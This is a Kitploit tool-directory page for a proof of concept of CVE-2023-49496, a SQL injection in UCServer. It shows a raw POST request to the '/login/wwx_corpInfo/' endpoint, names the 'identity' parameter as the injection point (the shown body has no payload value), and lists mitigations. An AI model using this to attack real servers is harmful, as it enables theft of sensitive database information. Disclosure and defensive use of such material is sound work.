Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-49496_PoC | Kitploit
Tools/GitHubGitHub/huangyanqwq/cve-2023-49496_poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingMisconfigurationDatabase Security
GitHubhuangyanqwq/cve-2023-49496_poc

CVE-2023-49496_PoC

View Repository
1 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-49496_PoC

Description

UCServer is an advanced converged communication server. Shanghai Shupin Information Technology Co., Ltd. UCServer has a SQL injection vulnerability. Attackers can exploit this vulnerability to obtain sensitive database information.

POC

root@kitploit:~
POST /login/wwx_corpInfo/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://example.com/
Content-Length: 132
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Host: example.com
Proxy-Connection: Keep-alive

&identity=

Demonstration

In the POST request body, "identity" is the injection point.

Temporary Solution

Enable the web firewall; block any IP access to the "/login/wwx_corpInfo/" path; prevent the database from accepting external remote connections; upgrade the database version.

Download Tool